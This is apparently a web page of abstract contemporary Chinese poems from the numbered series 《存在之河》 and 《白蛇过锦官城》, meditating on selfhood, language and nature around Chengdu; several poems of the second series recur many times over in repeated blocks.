难以被真正离开了的是人形象的 自我的回答，对于那并没有一个 问题所造成了的称之为因果，像 如今我在这隶属于下一刻的地方 \/ 而未来之有无一时之间与我息息 相关起来了，并且如同青草摇摆 春天的柳条摆动，湖水美而清澈 有一阵风，或者如同我们散开的 发辫。 存在之河六1936 《存在之河六》 那么，生活的本就是。 而非人们厌倦了本质。 生活也在恰是如此上， 设定了艰难生活本身。 \/ 它的设定被称呼，艰难 就像因为没有了名字和 位置而四处的随风游荡。 我们因此错误在于它的 昭然若揭，但如果世界 并不是由一个个的可以 言说组成，并且将人类 束缚在这上面。 \/ 于是我们当中的自己 它最为的指向了内心。 而内心正是我所知的含义。 外面，即世界常常单一的 来展示如同它的离去和消散。 在一条河旁边，两岸绿树葱茏， 鲜花盛开。而后我们作为迷茫的 农民，可以顺着思绪抵达寒冬的雪。 \/ 而不去而于沉思者当中 或者我偶有从这个可以 脱离开来的群体，也还是 它，它以它的否定在春季 将美丽温暖的阳光打散。 存在之河七1937 《存在之河七》 某物，并非有个他者之旅。 它因此如此孤独，无论在哪 无论说，说的因此的开始了。 仿佛它是一个被丢弃者身份 还在逐渐的适应过程当中。 就像难免是被逃离因为不能， 因而由于一盏孤灯而是这里的 必然性了。孤灯把具体揉和， 我们清瘦的脸仿佛因错误， 才可以思索和神游。即使 这正是一切，无论从哪个 地方和方面来说，像它们 在话语结束时才开始，但 又像是截然相反的无关。 当不可逃离于它这神游的 由远方来支撑了起来。 这房间由榆木做房粱， 地基牢固一般。美丽的图景 不仅仅有真正沉默事物， 像那些不需要被思索者， 像允许，当我遐思于此 发现了一些他者般幻象。 存在之河八1938 存在之河九1939 存在之河十1940 《存在之河十》 当事实上是沽名和钓誉者的歌。 任何指向了他自己的那些动作， 而没有什么例外在这之外可以 谈论它。这并不是一个轻松与否， 不是一个问题，无论它的那指涉。 仿佛存在的囚僻借着语言的诉说， 在艰难中看到的即倒退虚假的幻象。 \/ 因此在我之中有另外的一个 人。人对于自己的事先存在 一无所知吗，以至于我们才 思考，但感觉的困惑恒久。 我们在寓意了大地的星空 我们自身也是寓意它的事物。 你就是我内心更深处的我， 就像一场对话中讯息的透露 我不可以再将此反转和颠倒 就像历史中充满了逝去的事物 从没有我的一个个，一群群那里。 从这里的感觉这里与这里的感觉 从，因此仅仅就只是一个来源一般 世界就会被一束照耀着生命的光 抚慰，黑暗被驱散，当它在更远处 而不离开，以及远离开来了思维 作为同一事物的那一个图景，犹如 含义本身已经因为此夜和最终的流变 已经在土壤，浑浊和更宽阔的水里面。 我如此的思维了它，就像一种潦草的 完成是否可以被匆匆的认定下来。 我没有听见那应和之物，寂静，石头 没有投入水中。波纹的记忆的指向 因此没有被现实里面的石头而不是 现实本身所打破。这就是之于人的 平衡，有时候我以活着，和吃喝拉撒 来体现了它。作为思对于庸俗自身的 这一个傍晚时分的注角，暮色已至 那我所思以此者的远离。当我思讨 它们就好像因此更加表明了自身的 已经在了回忆的不可想起来了，不同 于树木背后的阴影或者整个的震颤 自身美丽的傍晚的万事万物。以至于 世界本身为真，在它被语言的和我 时刻于言语的时候。我在，那未能 被说出者的选择遗忘，如同二者的 同一。 存在之河十一1941 存在之河十二1942 《存在之河十二》 自我要求让它们存在着。 在普遍微小的事物里面， 就像这些微小同样普遍。 这岂止是而因此仅只是 一个声音消逝般里面的 词语，那些对于我的告知 已经圆满，因此完成。事物 摇曳着这些重复的影子 这些因此就因为是繁多 而它们以繁多和重复所 代表的新鲜，那世界性 更加的身居其中。就像 我，从莫须有之门的空 中走了出来，并且为了 再次进入，回家所引起的 繁多与重复:世界之花的 春天，山坡上和山谷里面 野花遍地，绿草成荫。 存在之河十三1943 《存在之河十三》 很多事物修饰，比喻 是修饰比喻由此诞生。 \/ 在复杂之后春风 并没有什么特别。 \/ 没有特别但我们的， 眼睛甚至看都不看。 \/ 犹如往内心的陌生之地。 每当视野以如此的方式， \/ 依然蔓延着，它们的领地 一劳永逸的这样一种称呼。 \/ 就如同我因此拥有一座房子 沿街的建筑，借助搭眼一瞧。 \/ 而我的遥远以心灵的方式 当它形象是遥远的内心。 \/ 应该在于其中被拉回来。 也如同我只要走，寻找着 \/ 树荫，那让思虑痛苦的减轻缓解 一棵棵树，在湖堤，一字型排开。 存在之河十四1944 《存在之河十四》 借助短暂就像已经拥有， 一个事先的认识，了解了。 当波浪般的实质被我看见， 任何的事物都像一圈圈的 世界上荡开着。它们需要 一直这么做，就像原因来 自于人类，因为事物当它 再次的回到了人类这一边 仿佛一切都没有发生，深入 的仅只是谎言，以事物，特别 是石头裸露坚硬表面的方式。 如果对繁多感到恐惧的人们 看到它了，就像通过了他们 的转述得必然，我才得以看。 看而不是看到，于是一切才 慢慢的消散，唯有语言最为的 迟钝，仿佛就是最后的一个 与那目光相互的纠缠，像突然 在一开始的短暂里面，你看 我想对你说。结束与开始 好奇和粗糙，事物们和单一的 个体，或者个体于他自己的 正于一种徒劳，那时候的的感觉。 存在之河十五1945 《存在之河十五》 没有果子——为空所结。 大地上一棵树，我不知道， 知道时，这一淹没的时刻。 它是否因为人的好奇追问 被搅扰到了。那些伟大的 哲理轻微的晃动，勉力于 去维持。或者不是，这里 正是因为否定而不断消耗 言语的谈论之地，之所。 我们皆疲乏，皆因为此而 最终还是成为了自己。 如今正是这一个路途， 在我们所熟悉的静物中 只是钟表般的事物带来了 春天，一切变绿，即使 我们的内心悲观，沉落的 很深，为了那不被惊扰 那习惯了惊扰的人对于它 的这一熟悉，习惯。是那些 周围的树木，牛羊和小溪 失去了语言，无法再提问了。 存在之河十六1946 《存在之河十六》 没有的东西都为空所结出， 就像那真实的为存在包括。 就像失衡的更加应该失衡， 而不是为人那平衡，徒劳 之挽歌，那真正的事物仿佛 告诉了我。在我内心里面。 果子挂在毫无相关之树吗 或者因此我只是看到了， 无论看到什么。无论是否 能够看到我设想的。或者 寻找徒劳，身体爬山涉水， 感到了一些疲惫。想休息， 我在休息的时候看到，我 看到问题的正已经解决了。 即使看起来无形而且很慢， 甚至原因就出在了我的快。 仿佛问题就是看到了自我， 我悄无声息的时候，是它 正去到了某我的不可想象。 我因此把想象孤立了起来， 我像是我的想象的被孤立。 很少，那些我走向牛羊，河 其他的。我有一个快乐之问。 白蛇之夜一1947 《白蛇之夜一》 因为般的夜晚， 因此被多于更多上面 仿佛世界如此羞涩的 如同一位姑娘，你认识 但青春逝去的往往主要的 和次要的是脸庞，而你是 一种对美来说的匮乏， 多年相见的避之不及， 呵，你这个残缺之人 在发福中掩盖起来的残缺。 如果一开始，残缺就 过去向未来般的渗透 今夜，树上的青的厉害 现在是一个个的支点 每一样事物都合乎情理 世界被反复的颠倒，起落。 它在你的那里，随着你们俩 莫名的情愫，属于我的问题 从一开始就被抛开了，你们 听了一会我乏味的谈论，你们 远离，如同那些隐居山水的人们。 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 《白蛇过锦官城四》 不使得被发现了， 被拥有于人掩埋的 紧接于这因此逃脱的 悄无声息和必然性。 \/ 早晨发问如鸟，或者 一个人早晨离开了床铺， 必然的深陷于某一种迷茫， 晨雾褪去，有什么就被 \/ 匆匆忙忙的带走。只有群山 作为了伟大遗留之物的轮廓。 \/ 我一定是错误的， 我醒来时四下无人。 这样的原因像春天， 枣树上挂满了青枣。 \/ 踟蹰不安，穿衣踱步的你。 而面前的不能走入内心深处， 江水洗润嘴唇，你今昔何在。 白蛇过锦官城五1995 《白蛇过锦官城五》 生命之自我，吊坠如此形成 尽管它随后以实体的坚硬 其中包含着这一悄无踪迹的 过程。它还没有结束， 已不再是那曾经。实则 我们为时间所作的颂歌。 而人类如果并非是提出什么 在渴求之外，又容易犯错。 人之必要性该如何更好， 犹如此刻是神秘的，来自于 造物深刻的从未曾结束。 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 《白蛇过锦官城四》 不使得被发现了， 被拥有于人掩埋的 紧接于这因此逃脱的 悄无声息和必然性。 \/ 早晨发问如鸟，或者 一个人早晨离开了床铺， 必然的深陷于某一种迷茫， 晨雾褪去，有什么就被 \/ 匆匆忙忙的带走。只有群山 作为了伟大遗留之物的轮廓。 \/ 我一定是错误的， 我醒来时四下无人。 这样的原因像春天， 枣树上挂满了青枣。 \/ 踟蹰不安，穿衣踱步的你。 而面前的不能走入内心深处， 江水洗润嘴唇，你今昔何在。 白蛇过锦官城五1995 《白蛇过锦官城五》 生命之自我，吊坠如此形成 尽管它随后以实体的坚硬 其中包含着这一悄无踪迹的 过程。它还没有结束， 已不再是那曾经。实则 我们为时间所作的颂歌。 而人类如果并非是提出什么 在渴求之外，又容易犯错。 人之必要性该如何更好， 犹如此刻是神秘的，来自于 造物深刻的从未曾结束。 白蛇过锦官城六1996 《白蛇过锦官城六》 这个不是由什么带来， 耳朵生茧的话只会更厚。 如果有一个山坡，村庄 曾经人烟兴旺，有很多的 羊群，牛，道路通往山坡。 \/ 这些都是为未来的铺就， 它遇到了，难以被处理。 它因此才可以在这个时刻， 称作了哀叹，树下面坐着。 \/ 寻找于空的人们， 绿色的丛林，苔藓 踩上去，鞋子就被水弄湿。 在林子里面的人， 隐藏起来了它们。 \/ 并且默念它们的名字， 如同身处于重复的 直到它们变得陈旧， 在这条道路上面， 有一个常新的名字。 \/ 有树木，不得不因为 傍晚，而将此呼应。 我们的命运在无风里面， 溜走，因为到达古代而 途径了这里的，这自我 这个见证者。 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 《白蛇过锦官城四》 不使得被发现了， 被拥有于人掩埋的 紧接于这因此逃脱的 悄无声息和必然性。 \/ 早晨发问如鸟，或者 一个人早晨离开了床铺， 必然的深陷于某一种迷茫， 晨雾褪去，有什么就被 \/ 匆匆忙忙的带走。只有群山 作为了伟大遗留之物的轮廓。 \/ 我一定是错误的， 我醒来时四下无人。 这样的原因像春天， 枣树上挂满了青枣。 \/ 踟蹰不安，穿衣踱步的你。 而面前的不能走入内心深处， 江水洗润嘴唇，你今昔何在。 白蛇过锦官城五1995 《白蛇过锦官城五》 生命之自我，吊坠如此形成 尽管它随后以实体的坚硬 其中包含着这一悄无踪迹的 过程。它还没有结束， 已不再是那曾经。实则 我们为时间所作的颂歌。 而人类如果并非是提出什么 在渴求之外，又容易犯错。 人之必要性该如何更好， 犹如此刻是神秘的，来自于 造物深刻的从未曾结束。 白蛇过锦官城六1996 《白蛇过锦官城六》 这个不是由什么带来， 耳朵生茧的话只会更厚。 如果有一个山坡，村庄 曾经人烟兴旺，有很多的 羊群，牛，道路通往山坡。 \/ 这些都是为未来的铺就， 它遇到了，难以被处理。 它因此才可以在这个时刻， 称作了哀叹，树下面坐着。 \/ 寻找于空的人们， 绿色的丛林，苔藓 踩上去，鞋子就被水弄湿。 在林子里面的人， 隐藏起来了它们。 \/ 并且默念它们的名字， 如同身处于重复的 直到它们变得陈旧， 在这条道路上面， 有一个常新的名字。 \/ 有树木，不得不因为 傍晚，而将此呼应。 我们的命运在无风里面， 溜走，因为到达古代而 途径了这里的，这自我 这个见证者。 白蛇过锦官城七1997 《白蛇过锦官城七》 日子美丽，当人们 把相反的以整体来审视。 这个夜晚，掩藏了眼睛。 在看的视野里面， 那通往黑色是突然的。 在这之外，有一些事物 我们已经无法回去。 \/ 与那些它所不同的， 来自于表面，人的 通过了外貌随意的一撇。 \/ 犹如白天里面漫步， 在狭细栽种隶属于空的 竹子。其他的植物， 在我们的挑选的内心 如果它从未曾有过 更为长久的宁静，它的 是其他的本质，在这条 路的尽头，即使它更远于此。 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 《白蛇过锦官城四》 不使得被发现了， 被拥有于人掩埋的 紧接于这因此逃脱的 悄无声息和必然性。 \/ 早晨发问如鸟，或者 一个人早晨离开了床铺， 必然的深陷于某一种迷茫， 晨雾褪去，有什么就被 \/ 匆匆忙忙的带走。只有群山 作为了伟大遗留之物的轮廓。 \/ 我一定是错误的， 我醒来时四下无人。 这样的原因像春天， 枣树上挂满了青枣。 \/ 踟蹰不安，穿衣踱步的你。 而面前的不能走入内心深处， 江水洗润嘴唇，你今昔何在。 白蛇过锦官城五1995 《白蛇过锦官城五》 生命之自我，吊坠如此形成 尽管它随后以实体的坚硬 其中包含着这一悄无踪迹的 过程。它还没有结束， 已不再是那曾经。实则 我们为时间所作的颂歌。 而人类如果并非是提出什么 在渴求之外，又容易犯错。 人之必要性该如何更好， 犹如此刻是神秘的，来自于 造物深刻的从未曾结束。 白蛇过锦官城六1996 《白蛇过锦官城六》 这个不是由什么带来， 耳朵生茧的话只会更厚。 如果有一个山坡，村庄 曾经人烟兴旺，有很多的 羊群，牛，道路通往山坡。 \/ 这些都是为未来的铺就， 它遇到了，难以被处理。 它因此才可以在这个时刻， 称作了哀叹，树下面坐着。 \/ 寻找于空的人们， 绿色的丛林，苔藓 踩上去，鞋子就被水弄湿。 在林子里面的人， 隐藏起来了它们。 \/ 并且默念它们的名字， 如同身处于重复的 直到它们变得陈旧， 在这条道路上面， 有一个常新的名字。 \/ 有树木，不得不因为 傍晚，而将此呼应。 我们的命运在无风里面， 溜走，因为到达古代而 途径了这里的，这自我 这个见证者。 白蛇过锦官城七1997 《白蛇过锦官城七》 日子美丽，当人们 把相反的以整体来审视。 这个夜晚，掩藏了眼睛。 在看的视野里面， 那通往黑色是突然的。 在这之外，有一些事物 我们已经无法回去。 \/ 与那些它所不同的， 来自于表面，人的 通过了外貌随意的一撇。 \/ 犹如白天里面漫步， 在狭细栽种隶属于空的 竹子。其他的植物， 在我们的挑选的内心 如果它从未曾有过 更为长久的宁静，它的 是其他的本质，在这条 路的尽头，即使它更远于此。 白蛇过锦官城八1998 白蛇过锦官城六1999 白蛇过锦官城一1991 《白蛇过锦官城一》 不使得被发现 而含义的拥有了。 它因而拥有着更多， 相对于此。它， \/ 比人类当中的 急迫还要急迫， 同一个词语并不为 思虑，当人对于词语 的拥有来自于事物。 \/ 往往如此，例外和意外 的微小的差异，来自于 那些我们所身处其中时， 声音，被听到，接着忽视。 人，因为繁多，但仍旧 \/ 不会在绵软之地如同 居住在那里的朴素的沙滩。 当人们来到了那里， 实则仅只是那趋向着的离开 对于人，物体一般来回推动。 如果没有这种形象， \/ 思绪作为不可被推动着 如果我们的内心确实如此 有那么一些相信的瞬间 我们带着惋惜离开了它。 \/ 那时，大地如卷展开了自己 而夕阳，正在西边的群山垂挂。 白蛇过锦官城二1992 《白蛇过锦官城二》 完整兀自伫立着， 像一种残缺由此被指示。 像一种二元关系， 同时作为了出发点与终点 而它的那绝对，并不在于它自身。 \/ 但我们无法仅仅凭借 思虑来关心这个， 收拾一地鸡毛的自己。 仿佛每一个夜晚都由 昨夜来暗示了，并且 我们自己就是肇事者真正的无辜。 \/ 花瓶破碎，碎片洒落一地。 神奇的事以存在延伸而对于 某一处有着位置般的需求， 只是不在于我们的嗓音， 它浑浊单一，为苍老威胁。 如同苍老同样只能栖居在此。 白蛇过锦官城三1993 《白蛇过锦官城三》 有这样的便有相反的存在， 美丽与风霜，看看我们 的贪婪，它偷偷的寓居 另一些它堂而皇之的时刻 我们距离那衰败已经不远。 \/ 一种可怕又危险的情形 扑向世界，借着你我。 你我并非无故，不是 一个一无所获里面苟活者的 自我满足。最为微小的 实则是虚无的凭空杜撰 \/ 如果我们赶来于相反 犯下了一个个错误 我们不得不原谅我们自己， 但我会反问自己并且 在这条可疑，陌生的 道路上，回声久久不息。 \/ 是的，叹息在推动 一支孤独的叹息之歌 那些我最为的亲近者 我陌不相识，刚刚遇见。 白蛇过锦官城四1994 《白蛇过锦官城四》 不使得被发现了， 被拥有于人掩埋的 紧接于这因此逃脱的 悄无声息和必然性。 \/ 早晨发问如鸟，或者 一个人早晨离开了床铺， 必然的深陷于某一种迷茫， 晨雾褪去，有什么就被 \/ 匆匆忙忙的带走。只有群山 作为了伟大遗留之物的轮廓。 \/ 我一定是错误的， 我醒来时四下无人。 这样的原因像春天， 枣树上挂满了青枣。 \/ 踟蹰不安，穿衣踱步的你。 而面前的不能走入内心深处， 江水洗润嘴唇，你今昔何在。 白蛇过锦官城五1995 《白蛇过锦官城五》 生命之自我，吊坠如此形成 尽管它随后以实体的坚硬 其中包含着这一悄无踪迹的 过程。它还没有结束， 已不再是那曾经。实则 我们为时间所作的颂歌。 而人类如果并非是提出什么 在渴求之外，又容易犯错。 人之必要性该如何更好， 犹如此刻是神秘的，来自于 造物深刻的从未曾结束。 白蛇过锦官城六1996 《白蛇过锦官城六》 这个不是由什么带来， 耳朵生茧的话只会更厚。 如果有一个山坡，村庄 曾经人烟兴旺，有很多的 羊群，牛，道路通往山坡。 \/ 这些都是为未来的铺就， 它遇到了，难以被处理。 它因此才可以在这个时刻， 称作了哀叹，树下面坐着。 \/ 寻找于空的人们， 绿色的丛林，苔藓 踩上去，鞋子就被水弄湿。 在林子里面的人， 隐藏起来了它们。 \/ 并且默念它们的名字， 如同身处于重复的 直到它们变得陈旧， 在这条道路上面， 有一个常新的名字。 \/ 有树木，不得不因为 傍晚，而将此呼应。 我们的命运在无风里面， 溜走，因为到达古代而 途径了这里的，这自我 这个见证者。 白蛇过锦官城七1997 《白蛇过锦官城七》 日子美丽，当人们 把相反的以整体来审视。 这个夜晚，掩藏了眼睛。 在看的视野里面， 那通往黑色是突然的。 在这之外，有一些事物 我们已经无法回去。 \/ 与那些它所不同的， 来自于表面，人的 通过了外貌随意的一撇。 \/ 犹如白天里面漫步， 在狭细栽种隶属于空的 竹子。其他的植物， 在我们的挑选的内心 如果它从未曾有过 更为长久的宁静，它的 是其他的本质，在这条 路的尽头，即使它更远于此。 白蛇过锦官城八1998 《白蛇过锦官城八》 偏爱通过了人 它在世界这个地方停顿。 它的车马联系于我 像丢失而成为的向着那里的人。 \/ 我在夜晚梦呓， 梦呓是一种重复 如果它想要做些什么， 并且最终的选择， 带着月色的皎洁。 \/ 它已经放置一个回答， 与我的内心并无二致。 但这需要一些时间， 白色的帐篷，白多过于 夜晚的漫长，因一个 原因变得错误。 \/ 我也会问自己， 内心脆弱的人儿， 是否真的是一个 会遇到另外的一个。 要像木头，树的衰败 之后显露的本质普普通通， 一个人说话，等车 都江堰到成都的路上， 山坡上有人放羊，养牛。 白蛇过锦官城一1991 